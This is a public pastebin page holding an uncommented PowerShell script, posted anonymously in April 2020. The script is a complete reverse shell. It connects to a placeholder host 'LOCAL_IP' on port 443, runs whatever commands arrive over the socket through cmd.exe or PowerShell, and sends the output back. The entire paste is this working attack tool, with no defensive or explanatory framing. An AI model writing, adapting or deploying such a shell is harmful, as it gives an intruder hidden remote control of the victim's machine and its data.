Public paste
Undefined
By: Guest | Date: Apr 17 2020 16:43 | Format: None | Expires: never | Size: 1.73 KB | Hits: 489

  1. $socket = new-object System.Net.Sockets.TcpClient('LOCAL_IP', 443);
  2. if($socket -eq $null){exit 1}
  3. $stream = $socket.GetStream();
  4. $writer = new-object System.IO.StreamWriter($stream);
  5. $buffer = new-object System.Byte[] 1024;
  6. $encoding = new-object System.Text.AsciiEncoding;
  7. do
  8. {
  9.         $writer.Flush();
  10.         $read = $null;
  11.         $res = ""
  12.         while($stream.DataAvailable -or $read -eq $null) {
  13.                 $read = $stream.Read($buffer, 0, 1024)
  14.         }
  15.         $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
  16.         if(!$out.equals("exit")){
  17.                 $args = "";
  18.                 if($out.IndexOf(' ') -gt -1){
  19.                         $args = $out.substring($out.IndexOf(' ')+1);
  20.                         $out = $out.substring(0,$out.IndexOf(' '));
  21.                         if($args.split(' ').length -gt 1){
  22.                 $pinfo = New-Object System.Diagnostics.ProcessStartInfo
  23.                 $pinfo.FileName = "cmd.exe"
  24.                 $pinfo.RedirectStandardError = $true
  25.                 $pinfo.RedirectStandardOutput = $true
  26.                 $pinfo.UseShellExecute = $false
  27.                 $pinfo.Arguments = "/c $out $args"
  28.                 $p = New-Object System.Diagnostics.Process
  29.                 $p.StartInfo = $pinfo
  30.                 $p.Start() | Out-Null
  31.                 $p.WaitForExit()
  32.                 $stdout = $p.StandardOutput.ReadToEnd()
  33.                 $stderr = $p.StandardError.ReadToEnd()
  34.                 if ($p.ExitCode -ne 0) {
  35.                     $res = $stderr
  36.                 } else {
  37.                     $res = $stdout
  38.                 }
  39.                         }
  40.                         else{
  41.                                 $res = (&"$out" "$args") | out-string;
  42.                         }
  43.                 }
  44.                 else{
  45.                         $res = (&"$out") | out-string;
  46.                 }
  47.                 if($res -ne $null){
  48.         $writer.WriteLine($res)
  49.     }
  50.         }
  51. }While (!$out.equals("exit"))
  52. $writer.close();
  53. $socket.close();
  54. $stream.Dispose();